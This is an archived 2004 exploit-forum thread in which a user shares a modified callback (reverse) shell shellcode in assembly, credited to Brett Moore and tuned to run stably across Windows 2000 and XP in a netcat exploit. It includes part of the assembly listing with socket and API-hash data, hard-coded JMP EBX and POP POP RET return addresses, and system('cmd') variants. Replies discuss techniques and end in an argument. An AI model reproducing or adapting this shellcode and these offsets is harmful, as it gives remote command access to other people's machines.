Tested working on: Win2k SP4 Server Win2k SP4 Pro. WinXP SP1 Pro. WinXP SP1a Pro. WinXP SP2 Pro. and more prolly!
This nice peace of code for coders restricted in space , by brett moore and some small modifications by me to make it stable accross windows platforms. Originally modded for the netcat exploit {
QUOTE(101)
QUOTE(Anarchiste)
W0w!nice work!which tech do you use to make it universal? i will try to look ^^....thx again
That's more to Brett Moore thos thanx , I recall again this is his shellcode that he posted there is 1 year ago or so on a mailing list and I added some small modifications to make it working stable across all platform included into an exploit (It was working in a win32 binary, but included into an exploit as netcat , there is some cmd spawn problems, bad char and a compare string was checking an unstable byte of the port , dunno why he made it like but it was bugging, that compare string "reajusted" to a stable byte works fine) .
Else to answer to your question , his shellcode does a lot of loops to scan the memory and find every api address needed as the MSVCRT.system() call wich call "cmd" once it found Connect() call. Nothing much as some other existing shellcodes , but nicely coded to be small , thanx again brett moore !
} , it will be prolly used in some more exploits, enjoy
bmoore.asm
CODE
;*********************************** Christmas Shells*************************************** ; Callback Shell. ; Directly set std handles and call system() ; ; 220 (DCh) bytes ; ; its not code, its antic0de ; and it works now too %-) ; Left it in tasm format. ; tasm32 -ml /m5 bmoore.asm ; tlink32 -Tpe -c -x bmoore.obj ,,, import32 ; ;*********************************** Christmas Shells*************************************** ; Jimminy jellicas its been jimplemented. ; Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals ; All the o/s peeps who know whats what. ;******************************************************************************* ************* ;//bmoore ; ; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng. ;//class101 .586p locals
;**************************************************************************** ; This is the start of the shell code ;****************************************************************************
realstart:
jmp over_data sockdat db 02h,01h,00h,065h db 07fh,00h,00h,01h
hashes db 01h dw 364Ah db "MSVCRT",01 dw 422Ah dw 8AD4h db "WS2_32",01 dw 817Ch dw 4E2Ch
You are a pro.. Thank you for this usefull tool... Maybe next time, you could make some kind of HTTP download shell, which would be small, stable, and wouldn't create files on desktop, like shellcode from JPEG exploit does...
Anarchiste
Dec 27 2004, 12:11 PM
W0w!nice work!which tech do you use to make it universal? i will try to look ^^....thx again
BuzzDee
Dec 27 2004, 12:20 PM
gr8 work 101!
to anarchiste: this should answer ur question:
CODE
char jmpebx[]="\x73\x1c\x57\x7c"; file://JMP EBX - kernel32.dll - Win2k SP4 Server,Pro English char popopret[]="\xb1\x2c\xc2\x77"; file://POP,POP,RET - msvcrt.dll - WinXP SP2,SP1a,SP1 Pro English - I finally found out XP exploitation;<
greetz
101
Dec 27 2004, 12:34 PM
QUOTE(Anarchiste @ Dec 27 2004, 12:11 PM)
W0w!nice work!which tech do you use to make it universal? i will try to look ^^....thx again
That's more to Brett Moore thos thanx , I recall again this is his shellcode that he posted there is 1 year ago or so on a mailing list and I added some small modifications to make it working stable across all platform included into an exploit (It was working in a win32 binary, but included into an exploit as netcat , there is some cmd spawn problems, bad char and a compare string was checking an unstable byte of the port , dunno why he made it like but it was bugging, that compare string "reajusted" to a stable byte works fine) .
Else to answer to your question , his shellcode does a lot of loops to scan the memory and find every api address needed as the MSVCRT.system() call wich call "cmd" once it found Connect() call. Nothing much as some other existing shellcodes , but nicely coded to be small , thanx again brett moore !
nb: sorry for my crap english , i know
Anarchiste
Dec 28 2004, 12:26 PM
QUOTE(BuzzDee @ Dec 27 2004, 12:20 PM)
to anarchiste: this should answer ur question:
CODE
char jmpebx[]="\x73\x1c\x57\x7c"; file://JMP EBX - kernel32.dll - Win2k SP4 Server,Pro English char popopret[]="\xb1\x2c\xc2\x77"; file://POP,POP,RET - msvcrt.dll - WinXP SP2,SP1a,SP1 Pro English - I finally found out XP exploitation;<
greetz
My question was about the tech to find api adress needed, and not any exploit, your quote is about one special exploit, i know the tech to make an exploit universal, but there is different way for a shellcode to be universal, Brett Moore use loop scan, lsd use a different way, similar but different, basing on the pattern MZ, correct me if i'm wrong, but thw to reply
QUOTE(101 @ Dec 27 2004, 12:34 PM)
QUOTE(Anarchiste @ Dec 27 2004, 12:11 PM)
W0w!nice work!which tech do you use to make it universal? i will try to look ^^....thx again
That's more to Brett Moore thos thanx , I recall again this is his shellcode that he posted there is 1 year ago or so on a mailing list and I added some small modifications to make it working stable across all platform included into an exploit (It was working in a win32 binary, but included into an exploit as netcat , there is some cmd spawn problems, bad char and a compare string was checking an unstable byte of the port , dunno why he made it like but it was bugging, that compare string "reajusted" to a stable byte works fine) .
Else to answer to your question , his shellcode does a lot of loops to scan the memory and find every api address needed as the MSVCRT.system() call wich call "cmd" once it found Connect() call. Nothing much as some other existing shellcodes , but nicely coded to be small , thanx again brett moore !
nb: sorry for my crap english , i know
Yeah!Thx to Brett Moore!but thx you to for your interesting release, i don't use -e switch on netcat, i prefer code my tools, but i will take a look ...sorry for my crap english too
101
Dec 28 2004, 01:42 PM
QUOTE(101)
QUOTE(Peter Winter-Smith)
Hi,
Also, 'cmd&', system() will execute cmd.exe, and will treat all following the ampersand as a following set of commands, and ignore it while the cmd.exe process exists :-)
-Peter
Yes you are right , end if I remember I already tested this way but its not stable accross all windows platforms, its as the Brett Moore original post with the char \x20, for example, if I test on win2k sp4 server it works fine, XP works fine, but it fail on Win2k SP4 Professional edition. You can test yourself I just made the tests several times The old way suggested is working on all OS mentionned , sure it takes 6 bytes more than your suggestion , but much stable
Cheers and thanx anyway for notify me.
Thus to say you can of course use the first way suggested by Brett Moore
CODE
; Call system() push 20646D63h ; Push cmd"\x20" on stack, null exists from above push esp ; Location to cmd call ebp ; Call system()
or Peter Winter-Smith
CODE
; Call system() push 26646D63h ; Push cmd"\x26" on stack, null exists from above push esp ; Location to cmd call ebp ; Call system()
You can down to the shellcode to 214 bytes but it will fail on all Win2k Professional edition. Don't have found yet why , the old way suggested by brett moore is still better for me , 6 more bytes and much stable
Anarchiste
Dec 30 2004, 11:29 AM
It's nice to know that, thx for info
guy12
Dec 30 2004, 01:58 PM
QUOTE
You are a pro.. Thank you for this usefull tool...
yes a pro in code ripping
everywhere i read you lame postings, with 1 year old codes! everybody knows this shellcode....so don't waste your time
101
Dec 30 2004, 02:27 PM
QUOTE(101)
I recall again this is his shellcode that he posted there is 1 year ago or so on a mailing list
Looks like guy12, you are a retarded wich dont know to read. I have already mentionned 10000x times this is Brett Moore shellcode. Now I have a suggestion to you , take the shellcode from the mailing list , build the netcat exploit with (of course your own exploit), do all this working then we will speak, else you have successfully submitted a Poc on your stupidity there
QUOTE(101)
I added some small modifications to make it working stable across all platform included into an exploit (It was working in a win32 binary, but included into an exploit as netcat , there is some cmd spawn problems, bad char and a compare string was checking an unstable byte of the port...
I guess so that you are a noob and you not tried the buggy shellcode into an exploit but only compiled into a win32 binary. Sorry for owning you take it nicely
Bye
guy12
Dec 30 2004, 03:31 PM
QUOTE
I guess so that you are a noob and you not tried the buggy shellcode into an exploit
what??
i think i waste my time with you ...
QUOTE
--------------------
Don't forget that netcat 1.10 is vulnerable hat-squad.com/en/000142.html -------------------- Don't forget to use netcat v1.11 vulnwatch.org/netcat -------------------- Realtime Security News from 27 websites, 47 rsslinks => #n3ws (EFnet) --------------------
because you are too narcissistically........
why do you add such a signature ?? do you think is so hard to code a simple bof...
it is always the same overflow a seh/or ret
then jump to a j mp reg or pop pop reg to the shellcode
and ?? i and many people have written a few exploits ,too, but nobody adds a sig. under every post with " HEY I CAN CODE A SIMPLE POC" ...
maybe someday you grow up...you don't need to answer , it is ok .....
101
Dec 30 2004, 03:49 PM
I simply told you to post a code, you answer me the color of my hairs, discussion closed for me .
Bye!!!
Anarchiste
Dec 30 2004, 04:17 PM
QUOTE(guy12 @ Dec 30 2004, 03:31 PM)
QUOTE
I guess so that you are a noob and you not tried the buggy shellcode into an exploit
what??
i think i waste my time with you ...
QUOTE
--------------------
Don't forget that netcat 1.10 is vulnerable hat-squad.com/en/000142.html -------------------- Don't forget to use netcat v1.11 vulnwatch.org/netcat -------------------- Realtime Security News from 27 websites, 47 rsslinks => #n3ws (EFnet) --------------------
because you are too narcissistically........
why do you add such a signature ?? do you think is so hard to code a simple bof...
it is always the same overflow a seh/or ret
then jump to a j mp reg or pop pop reg to the shellcode
and ?? i and many people have written a few exploits ,too, but nobody adds a sig. under every post with " HEY I CAN CODE A SIMPLE POC" ...
maybe someday you grow up...you don't need to answer , it is ok .....
Encore un qui a fait une overdose de buche glacée...
101 share his knowledge, apparently you are not for full disclosure, its your right, but i think someone must be reward for his work, so if you open the discussion, give us an exemple of your skills, or shut your mouse(i don't want be censured ), maybe you are an elite, so this forum isn't interesting for you apparently. Have a nice day, 31337 (Wah0o! i saw an elite!! damn!I have an orgasm!)
u533m3n0t
Dec 30 2004, 04:23 PM
Guy12, Didn't your mother teach you that if you don't have anything constructive or nice to say then don't say it? It's very easy to criticize. Takes effort to improve things or contribute. I hope that you are able to find that within you which is so weak you need to flame others to make yourself feel better. Good luck.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
, by brett moore and some small modifications by me to make it stable accross windows platforms.
